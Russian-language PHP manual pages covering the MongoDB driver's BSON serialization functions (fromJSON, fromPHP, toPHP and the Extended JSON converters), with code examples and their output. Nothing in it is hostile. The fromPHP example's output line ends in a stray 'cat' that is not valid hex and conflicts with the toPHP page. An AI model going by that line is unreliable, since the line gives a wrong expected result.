Пример #2 Пример использования MongoDB\Driver\WriteResult::isAcknowledged() с неподтверждёнными гарантиями записи

<?php

$manager = new MongoDB\Driver\Manager;

$bulk = new MongoDB\Driver\BulkWrite;
$bulk->insert(['x' => 1]);

$result = $manager->executeBulkWrite('db.collection', $bulk, new MongoDB\Driver\WriteConcern(0));

var_dump($result->isAcknowledged());

?>

Результат выполнения данного примера:

bool(false)

Смотрите также

  • MongoDB\Driver\WriteConcern
  • » Справка по гарантиям записи

User Contributed Notes

There are no user contributed notes for this page.


Классы типов BSON и функции сериализации

  • Функции
    • MongoDB\BSON\fromJSON — Возвращает представление BSON значения JSON
    • MongoDB\BSON\fromPHP — Возвращает представление BSON значения PHP
    • MongoDB\BSON\toCanonicalExtendedJSON — Возвращает Canonical Extended JSON представление для значения BSON
    • MongoDB\BSON\toJSON — Возвращает Legacy Extended JSON представление значения BSON
    • MongoDB\BSON\toPHP — Возвращает PHP представление значения BSON
    • MongoDB\BSON\toRelaxedExtendedJSON — Возвращает Relaxed Extended JSON представление значения BSON
  • MongoDB\BSON\Document — Класс MongoDB\BSON\Document
    • MongoDB\BSON\Document::__construct — Создаёт новый BSON-документ (не используется)
    • MongoDB\BSON\Document::fromBSON — Создаёт новый экземпляр документа из BSON-строки
    • MongoDB\BSON\Document::fromJSON — Создаёт новый экземпляр документа из строки JSON
    • MongoDB\BSON\Document::fromPHP — Создаёт новый экземпляр документа из данных PHP
    • MongoDB\BSON\Document::get — Возвращает значение ключа в документе
    • MongoDB\BSON\Document::getIterator — Возвращает итератор для документа BSON
    • MongoDB\BSON\Document::has — Возвращает, присутствует ли ключ в документе
    • MongoDB\BSON\Document::serialize — Сериализует документ
    • MongoDB\BSON\Document::toCanonicalExtendedJSON — Возвращает Canonical Extended JSON-представление BSON-документа
    • MongoDB\BSON\Document::toPHP — Возвращает PHP-представление документа BSON
    • MongoDB\BSON\Document::toRelaxedExtendedJSON — Возвращает Relaxed Extended JSON представление BSON-документа
    • MongoDB\BSON\Document::__toString — Возвращает строковое представление данного BSON-документа
    • MongoDB\BSON\Document::unserialize — Десериализует BSON-документ
  • MongoDB\BSON\PackedArray — Класс MongoDB\BSON\PackedArray
    • MongoDB\BSON\PackedArray::__construct — Создаёт новый массив BSON (не используется)
    • MongoDB\BSON\PackedArray::fromPHP — Создаёт новый экземпляр массива BSON из данных PHP
    • MongoDB\BSON\PackedArray::get — Возвращает значение индекса массива
    • MongoDB\BSON\PackedArray::getIterator — Возвращает итератор для массива BSON
    • MongoDB\BSON\PackedArray::has — Возвращает, присутствует ли индекс в массиве
    • MongoDB\BSON\PackedArray::serialize — Сериализация массива BSON
    • MongoDB\BSON\PackedArray::toPHP — Возвращает PHP-представление массива BSON
    • MongoDB\BSON\PackedArray::__toString — Возвращает строковое представление BSON-массива
    • MongoDB\BSON\PackedArray::unserialize — Десериализует массив BSON
  • MongoDB\BSON\Iterator — Класс MongoDB\BSON\Iterator
    • MongoDB\BSON\Iterator::__construct — Создаёт новый итератор BSON (не используется)
    • MongoDB\BSON\Iterator::current — Возвращает текущий элемент
    • MongoDB\BSON\Iterator::key — Возвращает ключ текущего элемента
    • MongoDB\BSON\Iterator::next — Перемещает итератор к следующему элементу
    • MongoDB\BSON\Iterator::rewind — Перематывает итератор к первому элементу
    • MongoDB\BSON\Iterator::valid — Проверяет, является ли текущая позиция корректной
  • MongoDB\BSON\Binary — Класс MongoDB\BSON\Binary
    • MongoDB\BSON\Binary::__construct — Создаёт новый Binary
    • MongoDB\BSON\Binary::getData — Возвращает данные Binary
    • MongoDB\BSON\Binary::getType — Возвращает тип Binary
    • MongoDB\BSON\Binary::jsonSerialize — Возвращает представление, которое можно преобразовать в JSON
    • MongoDB\BSON\Binary::serialize — Сериализует Binary
    • MongoDB\BSON\Binary::__toString — Возвращает данные Binary
    • MongoDB\BSON\Binary::unserialize — Десериализует Binary
  • MongoDB\BSON\Decimal128 — Класс MongoDB\BSON\Decimal128
    • MongoDB\BSON\Decimal128::__construct — Создаёт новый Decimal128
    • MongoDB\BSON\Decimal128::jsonSerialize — Возвращает представление, которое можно преобразовать в JSON
    • MongoDB\BSON\Decimal128::serialize — Сериализирует Decimal128
    • MongoDB\BSON\Decimal128::__toString — Возвращает строковое представление Decimal128
    • MongoDB\BSON\Decimal128::unserialize — Десериализует Decimal128
  • MongoDB\BSON\Javascript — Класс MongoDB\BSON\Javascript
    • MongoDB\BSON\Javascript::__construct — Конструктор Javascript
    • MongoDB\BSON\Javascript::getCode — Возвращает код JavaScript
    • MongoDB\BSON\Javascript::getScope — Возвращает область документа JavaScript
    • MongoDB\BSON\Javascript::jsonSerialize — Возвращает представление, которое может быть преобразовано в JSON
    • MongoDB\BSON\Javascript::serialize — Сериализовать JavaScript
    • MongoDB\BSON\Javascript::__toString — Возвращает код JavaScript
    • MongoDB\BSON\Javascript::unserialize — Десериализовать JavaScript
  • MongoDB\BSON\MaxKey — Класс MongoDB\BSON\MaxKey
    • MongoDB\BSON\MaxKey::__construct — Конструктор MaxKey
    • MongoDB\BSON\MaxKey::jsonSerialize — Возвращает представление, которое можно преобразовать в JSON
    • MongoDB\BSON\MaxKey::serialize — Сериализует MaxKey
    • MongoDB\BSON\MaxKey::unserialize — Десериализует MaxKey
  • MongoDB\BSON\MinKey — Класс MongoDB\BSON\MinKey
    • MongoDB\BSON\MinKey::__construct — Конструктор MinKey
    • MongoDB\BSON\MinKey::jsonSerialize — Возвращает представление, которое можно преобразовать в JSON
    • MongoDB\BSON\MinKey::serialize — Сериализует MinKey
    • MongoDB\BSON\MinKey::unserialize — Десериализует MinKey
  • MongoDB\BSON\ObjectId — Класс MongoDB\BSON\ObjectId
    • MongoDB\BSON\ObjectId::__construct — Создаёт новый ObjectId
    • MongoDB\BSON\ObjectId::getTimestamp — Возвращает метку времени ObjectId
    • MongoDB\BSON\ObjectId::jsonSerialize — Возвращает представление, которое можно преобразовать в JSON
    • MongoDB\BSON\ObjectId::serialize — Сериализует ObjectId
    • MongoDB\BSON\ObjectId::__toString — Возвращает шестнадцатеричное представление ObjectId
    • MongoDB\BSON\ObjectId::unserialize — Десериализует ObjectId
  • MongoDB\BSON\Regex — Класс MongoDB\BSON\Regex
    • MongoDB\BSON\Regex::__construct — Создаёт новый Regex
    • MongoDB\BSON\Regex::getFlags — Возвращает флаги Regex
    • MongoDB\BSON\Regex::getPattern — Возвращает шаблон Regex
    • MongoDB\BSON\Regex::jsonSerialize — Возвращает представление, которое можно преобразовать в JSON
    • MongoDB\BSON\Regex::serialize — Сериализует Regex
    • MongoDB\BSON\Regex::__toString — Возвращает строковое представление Regex
    • MongoDB\BSON\Regex::unserialize — Десериализует Regex
  • MongoDB\BSON\Timestamp — Класс MongoDB\BSON\Timestamp
    • MongoDB\BSON\Timestamp::__construct — Создаёт новый Timestamp
    • MongoDB\BSON\Timestamp::getIncrement — Возвращает компонент приращения Timestamp
    • MongoDB\BSON\Timestamp::getTimestamp — Возвращает компонент отметки времени Timestamp
    • MongoDB\BSON\Timestamp::jsonSerialize — Возвращает представление, которое можно преобразовать в JSON
    • MongoDB\BSON\Timestamp::serialize — Сериализует Timestamp
    • MongoDB\BSON\Timestamp::__toString — Возвращает строковое представление Timestamp
    • MongoDB\BSON\Timestamp::unserialize — Десериализует Timestamp
  • MongoDB\BSON\UTCDateTime — Класс MongoDB\BSON\UTCDateTime
    • MongoDB\BSON\UTCDateTime::__construct — Создаёт новый UTCDateTime
    • MongoDB\BSON\UTCDateTime::jsonSerialize — Возвращает представление, которое можно преобразовать в JSON
    • MongoDB\BSON\UTCDateTime::serialize — Сериализует UTCDateTime
    • MongoDB\BSON\UTCDateTime::toDateTime — Возвращает представление DateTime этого UTCDateTime
    • MongoDB\BSON\UTCDateTime::__toString — Возвращает строковое представление UTCDateTime
    • MongoDB\BSON\UTCDateTime::unserialize — Десериализует UTCDateTime
  • MongoDB\BSON\Type — Интерфейс MongoDB\BSON\Type
  • MongoDB\BSON\Persistable — Интерфейс MongoDB\BSON\Persistable
    • MongoDB\BSON\Persistable::bsonSerialize — Предоставляет массив или документ для сериализации в формате BSON
  • MongoDB\BSON\Serializable — Интерфейс MongoDB\BSON\Serializable
    • MongoDB\BSON\Serializable::bsonSerialize — Предоставляет массив или документ для сериализации в BSON
  • MongoDB\BSON\Unserializable — Интерфейс MongoDB\BSON\Unserializable
    • MongoDB\BSON\Unserializable::bsonUnserialize — Создаёт объект из массива BSON или документа
  • MongoDB\BSON\BinaryInterface — Интерфейс MongoDB\BSON\BinaryInterface
    • MongoDB\BSON\BinaryInterface::getData — Возвращает данные BinaryInterface
    • MongoDB\BSON\BinaryInterface::getType — Возвращает тип BinaryInterface
    • MongoDB\BSON\BinaryInterface::__toString — Возвращает данные BinaryInterface
  • MongoDB\BSON\Decimal128Interface — Интерфейс MongoDB\BSON\Decimal128Interface
    • MongoDB\BSON\Decimal128Interface::__toString — Возвращает строковое представление Decimal128Interface
  • MongoDB\BSON\JavascriptInterface — Интерфейс MongoDB\BSON\JavascriptInterface
    • MongoDB\BSON\JavascriptInterface::getCode — Возвращает код JavascriptInterface
    • MongoDB\BSON\JavascriptInterface::getScope — Возвращает области видимости документа JavascriptInterface
    • MongoDB\BSON\JavascriptInterface::__toString — Возвращает код JavascriptInterface
  • MongoDB\BSON\MaxKeyInterface — Интерфейс MongoDB\BSON\MaxKeyInterface
  • MongoDB\BSON\MinKeyInterface — Интерфейс MongoDB\BSON\MinKeyInterface
  • MongoDB\BSON\ObjectIdInterface — Интерфейс MongoDB\BSON\ObjectIdInterface
    • MongoDB\BSON\ObjectIdInterface::getTimestamp — Возвращает компонент отметки времени ObjectIdInterface
    • MongoDB\BSON\ObjectIdInterface::__toString — Возвращает шестнадцатеричное представление ObjectIdInterface
  • MongoDB\BSON\RegexInterface — Интерфейс MongoDB\BSON\RegexInterface
    • MongoDB\BSON\RegexInterface::getFlags — Возвращает флаги RegexInterface
    • MongoDB\BSON\RegexInterface::getPattern — Возвращает шаблон RegexInterface
    • MongoDB\BSON\RegexInterface::__toString — Возвращает строковое представление RegexInterface
  • MongoDB\BSON\TimestampInterface — Интерфейс MongoDB\BSON\TimestampInterface
    • MongoDB\BSON\TimestampInterface::getIncrement — Возвращает инкрементный компонент TimestampInterface
    • MongoDB\BSON\TimestampInterface::getTimestamp — Возвращает компонент отметки времени TimestampInterface
    • MongoDB\BSON\TimestampInterface::__toString — Возвращает строковое представление TimestampInterface
  • MongoDB\BSON\UTCDateTimeInterface — Интерфейс MongoDB\BSON\UTCDateTimeInterface
    • MongoDB\BSON\UTCDateTimeInterface::toDateTime — Возвращает представление DateTime этого UTCDateTimeInterface
    • MongoDB\BSON\UTCDateTimeInterface::__toString — Возвращает строковое представление UTCDateTimeInterface
  • MongoDB\BSON\DBPointer — Класс MongoDB\BSON\DBPointer (устаревший)
    • MongoDB\BSON\DBPointer::__construct — Создаёт новый DBPointer (не используется)
    • MongoDB\BSON\DBPointer::jsonSerialize — Возвращает представление, которое можно преобразовать в JSON
    • MongoDB\BSON\DBPointer::serialize — Сериализует DBPointer
    • MongoDB\BSON\DBPointer::__toString — Возвращает пустую строку
    • MongoDB\BSON\DBPointer::unserialize — Десериализует DBPointer
  • MongoDB\BSON\Int64 — Класс MongoDB\BSON\Int64
    • MongoDB\BSON\Int64::__construct — Создаёт новый Int64
    • MongoDB\BSON\Int64::jsonSerialize — Возвращает представление, которое можно преобразовать в JSON
    • MongoDB\BSON\Int64::serialize — Сериализует Int64
    • MongoDB\BSON\Int64::__toString — Возвращает строковое представление Int64
    • MongoDB\BSON\Int64::unserialize — Десериализует Int64
  • MongoDB\BSON\Symbol — Класс MongoDB\BSON\Symbol (устаревший)
    • MongoDB\BSON\Symbol::__construct — Создаёт новый Symbol (не используется)
    • MongoDB\BSON\Symbol::jsonSerialize — Возвращает представление, которое можно преобразовать в JSON
    • MongoDB\BSON\Symbol::serialize — Сериализует Symbol
    • MongoDB\BSON\Symbol::__toString — Возвращает Symbol в виде строки
    • MongoDB\BSON\Symbol::unserialize — Десериализует Symbol
  • MongoDB\BSON\Undefined — Класс MongoDB\BSON\Undefined (устарело)
    • MongoDB\BSON\Undefined::__construct — Создаёт новый Undefined (не используется)
    • MongoDB\BSON\Undefined::jsonSerialize — Возвращает представление, которое можно преобразовать в JSON
    • MongoDB\BSON\Undefined::serialize — Сериализует Undefined
    • MongoDB\BSON\Undefined::__toString — Возвращает пустую строку
    • MongoDB\BSON\Undefined::unserialize — Десериализует Undefined

User Contributed Notes

There are no user contributed notes for this page.


Функции

Содержание

  • MongoDB\BSON\fromJSON — Возвращает представление BSON значения JSON
  • MongoDB\BSON\fromPHP — Возвращает представление BSON значения PHP
  • MongoDB\BSON\toCanonicalExtendedJSON — Возвращает Canonical Extended JSON представление для значения BSON
  • MongoDB\BSON\toJSON — Возвращает Legacy Extended JSON представление значения BSON
  • MongoDB\BSON\toPHP — Возвращает PHP представление значения BSON
  • MongoDB\BSON\toRelaxedExtendedJSON — Возвращает Relaxed Extended JSON представление значения BSON

User Contributed Notes

There are no user contributed notes for this page.


Возвращает представление BSON значения JSON

  • « Функции
  • MongoDB\BSON\fromPHP »
  • PHP Manual
  • Функции
  • Возвращает представление BSON значения JSON

MongoDB\BSON\fromJSON

(mongodb >=1.0.0)

MongoDB\BSON\fromJSON — Возвращает представление BSON значения JSON

Описание

MongoDB\BSON\fromJSON(string $json): string

Преобразует строку » Extended JSON в её представление BSON.

Список параметров

json (string)

Значение JSON для преобразования.

Возвращаемые значения

Сериализованный документ BSON в виде двоичной строки.

Ошибки

  • Выдаёт MongoDB\Driver\Exception\UnexpectedValueException, если значение JSON не может быть преобразовано в BSON (например, из-за синтаксической ошибки).

Примеры

Пример #1 Пример использования MongoDB\BSON\fromJSON()

<?php

$json = '{ "_id": { "$oid": "563143b280d2387c91807965" } }';
$bson = MongoDB\BSON\fromJSON($json);
$value = MongoDB\BSON\toPHP($bson);
var_dump($value);

?>

Результат выполнения данного примера:

object(stdClass)#2 (1) {
  ["_id"]=>
  object(MongoDB\BSON\ObjectId)#1 (1) {
    ["oid"]=>
    string(24) "563143b280d2387c91807965"
  }
}

Смотрите также

  • MongoDB\BSON\Document::fromJSON() - Создаёт новый экземпляр документа из строки JSON
  • MongoDB\BSON\toJSON() - Возвращает Legacy Extended JSON представление значения BSON
  • » MongoDB Extended JSON
  • » MongoDB BSON

User Contributed Notes

There are no user contributed notes for this page.


Возвращает представление BSON значения PHP

  • « MongoDB\BSON\fromJSON
  • MongoDB\BSON\toCanonicalExtendedJSON »
  • PHP Manual
  • Функции
  • Возвращает представление BSON значения PHP

MongoDB\BSON\fromPHP

(mongodb >=1.0.0)

MongoDB\BSON\fromPHP — Возвращает представление BSON значения PHP

Описание

MongoDB\BSON\fromPHP(array|object $value): string

Сериализует массив или объект PHP (например, документ) в его представление » BSON. Возвращённая двоичная строка будет описывать документ BSON.

Список параметров

value (array|object)

Значение PHP для сериализации.

Возвращаемые значения

Сериализованный документ BSON в виде двоичной строки.

Ошибки

  • Выдаёт MongoDB\Driver\Exception\UnexpectedValueException, если значение PHP не может быть преобразовано в BSON. Возможные причины включают, но не ограничиваются, столкновением с неожиданным экземпляром MongoDB\BSON\Type или MongoDB\BSON\Serializable::bsonSerialize(), не может вернуть array или stdClass.

Примеры

Пример #1 Пример использования MongoDB\BSON\fromPHP()

<?php

$bson = MongoDB\BSON\fromPHP(['foo' => 1]);
echo bin2hex($bson), "\n";

?>

Результат выполнения данного примера:

0e00000010666f6f000100000000cat

Смотрите также

  • MongoDB\BSON\Document::fromPHP() - Создаёт новый экземпляр документа из данных PHP
  • MongoDB\BSON\toPHP() - Возвращает PHP представление значения BSON
  • » MongoDB BSON
  • Постоянные данные

User Contributed Notes

There are no user contributed notes for this page.


Возвращает Canonical Extended JSON представление для значения BSON

  • « MongoDB\BSON\fromPHP
  • MongoDB\BSON\toJSON »
  • PHP Manual
  • Функции
  • Возвращает Canonical Extended JSON представление для значения BSON

MongoDB\BSON\toCanonicalExtendedJSON

(mongodb >=1.3.0)

MongoDB\BSON\toCanonicalExtendedJSON — Возвращает Canonical Extended JSON представление для значения BSON

Описание

MongoDB\BSON\toCanonicalExtendedJSON(string $bson): string

Преобразует строку BSON в её » Canonical Extended JSON представление. Канонический формат предпочитает точность типов за счёт краткого вывода и наиболее подходит для создания выходных данных, которые могут быть преобразованы обратно в BSON без какой-либо потери информации о типе (например, числовые типы останутся дифференцированными).

Список параметров

bson (string)

Значение BSON для преобразования.

Возвращаемые значения

Преобразованное значение JSON.

Ошибки

  • Исключение MongoDB\Driver\Exception\UnexpectedValueException выбрасывается, если входные данные не являются ровно одним документом BSON. Возможные причины включают, но не ограничены некорректным BSON, лишними данными или неожиданной ошибкой » libbson.

Примеры

Пример #1 Пример использования MongoDB\BSON\toCanonicalExtendedJSON()

<?php

$documents = [
[ 'null' => null ],
[ 'boolean' => true ],
[ 'string' => 'foo' ],
[ 'int32' => 123 ],
[ 'int64' => 4294967295 ],
[ 'double' => 1.0, ],
[ 'nan' => NAN ],
[ 'pos_inf' => INF ],
[ 'neg_inf' => -INF ],
[ 'array' => [ 'foo', 'bar' ]],
[ 'document' => [ 'foo' => 'bar' ]],
[ 'oid' => new MongoDB\BSON\ObjectId('56315a7c6118fd1b920270b1') ],
[ 'dec128' => new MongoDB\BSON\Decimal128('1234.5678') ],
[ 'binary' => new MongoDB\BSON\Binary('foo', MongoDB\BSON\Binary::TYPE_GENERIC) ],
[ 'date' => new MongoDB\BSON\UTCDateTime(1445990400000) ],
[ 'timestamp' => new MongoDB\BSON\Timestamp(1234, 5678) ],
[ 'regex' => new MongoDB\BSON\Regex('pattern', 'i') ],
[ 'code' => new MongoDB\BSON\Javascript('function() { return 1; }') ],
[ 'code_ws' => new MongoDB\BSON\Javascript('function() { return a; }', ['a' => 1]) ],
[ 'minkey' => new MongoDB\BSON\MinKey ],
[ 'maxkey' => new MongoDB\BSON\MaxKey ],
];

foreach ($documents as $document) {
$bson = MongoDB\BSON\fromPHP($document);
echo MongoDB\BSON\toCanonicalExtendedJSON($bson), "\n";
}

?>

Результат выполнения данного примера:

{ "null" : null }
{ "boolean" : true }
{ "string" : "foo" }
{ "int32" : { "$numberInt" : "123" } }
{ "int64" : { "$numberLong" : "4294967295"} }
{ "double" : { "$numberDouble" : "1.0" } }
{ "nan" : { "$numberDouble" : "NaN" } }
{ "pos_inf" : { "$numberDouble" : "Infinity" } }
{ "neg_inf" : { "$numberDouble" : "-Infinity" } }
{ "array" : [ "foo", "bar" ] }
{ "document" : { "foo" : "bar" } }
{ "oid" : { "$oid" : "56315a7c6118fd1b920270b1" } }
{ "dec128" : { "$numberDecimal" : "1234.5678" } }
{ "binary" : { "$binary" : { "base64": "Zm9v", "subType" : "00" } } }
{ "date" : { "$date" : { "$numberLong" : "1445990400000" } } }
{ "timestamp" : { "$timestamp" : { "t" : 5678, "i" : 1234 } } }
{ "regex" : { "$regularExpression" : { "pattern" : "pattern", "options" : "i" } } }
{ "code" : { "$code" : "function() { return 1; }" } }
{ "code_ws" : { "$code" : "function() { return a; }", "$scope" : { "a" : { "$numberInt" : "1" } } } }
{ "minkey" : { "$minKey" : 1 } }
{ "maxkey" : { "$maxKey" : 1 } }

Смотрите также

  • MongoDB\BSON\Document::fromJSON() - Создаёт новый экземпляр документа из строки JSON
  • MongoDB\BSON\Document::toCanonicalExtendedJSON() - Возвращает Canonical Extended JSON-представление BSON-документа
  • MongoDB\BSON\fromJSON() - Возвращает представление BSON значения JSON
  • MongoDB\BSON\toRelaxedExtendedJSON() - Возвращает Relaxed Extended JSON представление значения BSON
  • » Спецификация Extended JSON
  • » MongoDB BSON

User Contributed Notes

There are no user contributed notes for this page.


Возвращает Legacy Extended JSON представление значения BSON

  • « MongoDB\BSON\toCanonicalExtendedJSON
  • MongoDB\BSON\toPHP »
  • PHP Manual
  • Функции
  • Возвращает Legacy Extended JSON представление значения BSON

MongoDB\BSON\toJSON

(mongodb >=1.0.0)

MongoDB\BSON\toJSON — Возвращает Legacy Extended JSON представление значения BSON

Описание

MongoDB\BSON\toJSON(string $bson): string

Преобразует строку BSON в её » Legacy Extended JSON представление.

Замечание: Существует несколько форматов JSON для представления BSON. Эта функция реализует "строгий режим", определённый в » MongoDB Extended JSON, который был заменён каноническими и упрощёнными форматами, определёнными в » Спецификации Extended JSON и реализованными MongoDB\BSON\toCanonicalExtendedJSON() и MongoDB\BSON\toRelaxedExtendedJSON() соответственно.

Внимание

» JSON не поддерживает NAN и INF, а формат Legacy Extended JSON MongoDB не определяет альтернативное представление для этих значений (» libbson будет выводить литералы nan и inf, которые могут не распознаться, как корректный JSON). Если вы работаете с BSON, который может содержать неконечные числа, используйте MongoDB\BSON\toCanonicalExtendedJSON() или MongoDB\BSON\toRelaxedExtendedJSON().

Список параметров

bson (string)

Значение BSON для преобразования.

Возвращаемые значения

Преобразованное значение JSON.

Ошибки

  • Исключение MongoDB\Driver\Exception\UnexpectedValueException выбрасывается, если входные данные не являются ровно одним документом BSON. Возможные причины включают, но не ограничены некорректным BSON, лишними данными или неожиданной ошибкой » libbson.

Примеры

Пример #1 Пример использования MongoDB\BSON\toJSON()

<?php

$documents = [
[ 'null' => null ],
[ 'boolean' => true ],
[ 'string' => 'foo' ],
[ 'int32' => 123 ],
[ 'int64' => 4294967295 ],
[ 'double' => 1.0, ],
[ 'nan' => NAN ],
[ 'pos_inf' => INF ],
[ 'neg_inf' => -INF ],
[ 'array' => [ 'foo', 'bar' ]],
[ 'document' => [ 'foo' => 'bar' ]],
[ 'oid' => new MongoDB\BSON\ObjectId('56315a7c6118fd1b920270b1') ],
[ 'dec128' => new MongoDB\BSON\Decimal128('1234.5678') ],
[ 'binary' => new MongoDB\BSON\Binary('foo', MongoDB\BSON\Binary::TYPE_GENERIC) ],
[ 'date' => new MongoDB\BSON\UTCDateTime(1445990400000) ],
[ 'timestamp' => new MongoDB\BSON\Timestamp(1234, 5678) ],
[ 'regex' => new MongoDB\BSON\Regex('pattern', 'i') ],
[ 'code' => new MongoDB\BSON\Javascript('function() { return 1; }') ],
[ 'code_ws' => new MongoDB\BSON\Javascript('function() { return a; }', ['a' => 1]) ],
[ 'minkey' => new MongoDB\BSON\MinKey ],
[ 'maxkey' => new MongoDB\BSON\MaxKey ],
];

foreach ($documents as $document) {
$bson = MongoDB\BSON\fromPHP($document);
echo MongoDB\BSON\toJSON($bson), "\n";
}

?>

Результат выполнения данного примера:

{ "null" : null }
{ "boolean" : true }
{ "string" : "foo" }
{ "int32" : 123 }
{ "int64" : 4294967295 }
{ "double" : 1.0 }
{ "nan" : nan }
{ "pos_inf" : inf }
{ "neg_inf" : -inf }
{ "array" : [ "foo", "bar" ] }
{ "document" : { "foo" : "bar" } }
{ "oid" : { "$oid" : "56315a7c6118fd1b920270b1" } }
{ "dec128" : { "$numberDecimal" : "1234.5678" } }
{ "binary" : { "$binary" : "Zm9v", "$type" : "00" } }
{ "date" : { "$date" : 1445990400000 } }
{ "timestamp" : { "$timestamp" : { "t" : 5678, "i" : 1234 } } }
{ "regex" : { "$regex" : "pattern", "$options" : "i" } }
{ "code" : { "$code" : "function() { return 1; }" } }
{ "code_ws" : { "$code" : "function() { return a; }", "$scope" : { "a" : 1 } } }
{ "minkey" : { "$minKey" : 1 } }
{ "maxkey" : { "$maxKey" : 1 } }

Смотрите также

  • MongoDB\BSON\fromJSON() - Возвращает представление BSON значения JSON
  • MongoDB\BSON\toCanonicalExtendedJSON() - Возвращает Canonical Extended JSON представление для значения BSON
  • MongoDB\BSON\toRelaxedExtendedJSON() - Возвращает Relaxed Extended JSON представление значения BSON
  • » MongoDB Extended JSON
  • » MongoDB BSON

User Contributed Notes

There are no user contributed notes for this page.


Возвращает PHP представление значения BSON

  • « MongoDB\BSON\toJSON
  • MongoDB\BSON\toRelaxedExtendedJSON »
  • PHP Manual
  • Функции
  • Возвращает PHP представление значения BSON

MongoDB\BSON\toPHP

(mongodb >=1.0.0)

MongoDB\BSON\toPHP — Возвращает PHP представление значения BSON

Описание

MongoDB\BSON\toPHP(string $bson, array $typeMap = array()): array|object

Десериализует документ BSON (т.е. двоичную строку) в его представление PHP. Параметр typeMap может использоваться для управления типами PHP, используемыми для преобразования массивов и документов BSON (как корневых, так и встроенных).

Внимание

Документы BSON технически могут содержать повторяющиеся ключи, поскольку документы хранятся в виде списка пар ключ-значение; однако приложениям следует воздерживаться от создания документов с дубликатами ключей, поскольку поведение сервера и драйвера может быть неопределённым. Поскольку объекты и массивы PHP не могут иметь повторяющихся ключей, данные также могут быть потеряны при декодировании документа BSON с повторяющимися ключами.

Список параметров

bson (string)

Значение BSON для десериализации.

typeMap (array)

Конфигурация карты типов.

Возвращаемые значения

Десериализованное значение PHP.

Ошибки

  • Выдаёт MongoDB\Driver\Exception\InvalidArgumentException, если класс в карте типов не может быть создан или не реализует MongoDB\BSON\Unserializable.
  • Исключение MongoDB\Driver\Exception\UnexpectedValueException выбрасывается, если входные данные не являются ровно одним документом BSON. Возможные причины включают, но не ограничены некорректным BSON, лишними данными или неожиданной ошибкой » libbson.

Список изменений

Версия | Описание
PECL mongodb 1.4.0 | Если входные данные содержат неподдерживаемый устаревший тип BSON, драйвер больше не будет записывать предупреждение в журнал отладки, а вместо этого создаст объект, представляющий этот тип.
PECL mongodb 1.3.2 | MongoDB\Driver\Exception\UnexpectedValueException больше не выдаётся, если входные данные содержат неподдерживаемый, устаревший тип BSON. Такие типы будут игнорироваться (как они были в версиях до 1.3.0), хотя драйвер теперь будет записывать предупреждение в журнал отладки (смотрите: mongodb.debug).
PECL mongodb 1.3.0 | MongoDB\Driver\Exception\UnexpectedValueException выдаётся, если входные данные содержат неподдерживаемый, устаревший тип BSON. Ранее такие типы игнорировались.

Примеры

Пример #1 Пример использования MongoDB\BSON\toPHP()

<?php

$bson = hex2bin('0e00000010666f6f000100000000');
$value = MongoDB\BSON\toPHP($bson);
var_dump($value);

?>

Результат выполнения данного примера:

object(stdClass)#1 (1) {
  ["foo"]=>
  int(1)
}

Смотрите также

  • MongoDB\BSON\Document::toPHP() - Возвращает PHP-представление документа BSON
  • MongoDB\BSON\fromPHP() - Возвращает представление BSON значения PHP
  • » MongoDB BSON
  • Постоянные данные

User Contributed Notes

There are no user contributed notes for this page.


Возвращает Relaxed Extended JSON представление значения BSON

  • « MongoDB\BSON\toPHP
  • MongoDB\BSON\Document »
  • PHP Manual
  • Функции
  • Возвращает Relaxed Extended JSON представление значения BSON

MongoDB\BSON\toRelaxedExtendedJSON

(mongodb >=1.3.0)

MongoDB\BSON\toRelaxedExtendedJSON — Возвращает Relaxed Extended JSON представление значения BSON

Описание

MongoDB\BSON\toRelaxedExtendedJSON(string $bson): string

Преобразует строку BSON в её представление » Relaxed Extended JSON. Расслабленный формат предпочитает использование примитивов типа JSON за счёт точности типов и наиболее подходит для получения выходных данных, которые могут быть легко использованы веб API и людьми.

Список параметров

bson (string)

Значение BSON для преобразования.

Возвращаемые значения

Преобразованное значение JSON.

Ошибки

  • Исключение MongoDB\Driver\Exception\UnexpectedValueException выбрасывается, если входные данные не являются ровно одним документом BSON. Возможные причины включают, но не ограничены некорректным BSON, лишними данными или неожиданной ошибкой » libbson.

Примеры

Пример #1 Пример использования MongoDB\BSON\toRelaxedExtendedJSON()

<?php

$documents = [
[ 'null' => null ],
[ 'boolean' => true ],
[ 'string' => 'foo' ],
[ 'int32' => 123 ],
[ 'int64' => 4294967295 ],
[ 'double' => 1.0, ],
[ 'nan' => NAN ],
[ 'pos_inf' => INF ],
[ 'neg_inf' => -INF ],
[ 'array' => [ 'foo', 'bar' ]],
[ 'document' => [ 'foo' => 'bar' ]],
[ 'oid' => new MongoDB\BSON\ObjectId('56315a7c6118fd1b920270b1') ],
[ 'dec128' => new MongoDB\BSON\Decimal128('1234.5678') ],
[ 'binary' => new MongoDB\BSON\Binary('foo', MongoDB\BSON\Binary::TYPE_GENERIC) ],
[ 'date' => new MongoDB\BSON\UTCDateTime(1445990400000) ],
[ 'timestamp' => new MongoDB\BSON\Timestamp(1234, 5678) ],
[ 'regex' => new MongoDB\BSON\Regex('pattern', 'i') ],
[ 'code' => new MongoDB\BSON\Javascript('function() { return 1; }') ],
[ 'code_ws' => new MongoDB\BSON\Javascript('function() { return a; }', ['a' => 1]) ],
[ 'minkey' => new MongoDB\BSON\MinKey ],
[ 'maxkey' => new MongoDB\BSON\MaxKey ],
];

foreach ($documents as $document) {
$bson = MongoDB\BSON\fromPHP($document);
echo MongoDB\BSON\toRelaxedExtendedJSON($bson), "\n";
}

?>

Результат выполнения данного примера:

{ "null" : null }
{ "boolean" : true }
{ "string" : "foo" }
{ "int32" : 123 }
{ "int64" : 4294967295 }
{ "double" : 1.0 }
{ "nan" : { "$numberDouble" : "NaN" } }
{ "pos_inf" : { "$numberDouble" : "Infinity" } }
{ "neg_inf" : { "$numberDouble" : "-Infinity" } }
{ "array" : [ "foo", "bar" ] }
{ "document" : { "foo" : "bar" } }
{ "oid" : { "$oid" : "56315a7c6118fd1b920270b1" } }
{ "dec128" : { "$numberDecimal" : "1234.5678" } }
{ "binary" : { "$binary" : { "base64": "Zm9v", "subType" : "00" } } }
{ "date" : { "$date" : "2015-10-28T00:00:00Z" } }
{ "timestamp" : { "$timestamp" : { "t" : 5678, "i" : 1234 } } }
{ "regex" : { "$regularExpression" : { "pattern" : "pattern", "options" : "i" } } }
{ "code" : { "$code" : "function() { return 1; }" } }
{ "code_ws" : { "$code" : "function() { return a; }", "$scope" : { "a" : 1 } } }
{ "minkey" : { "$minKey" : 1 } }
{ "maxkey" : { "$maxKey" : 1 } }

Смотрите также

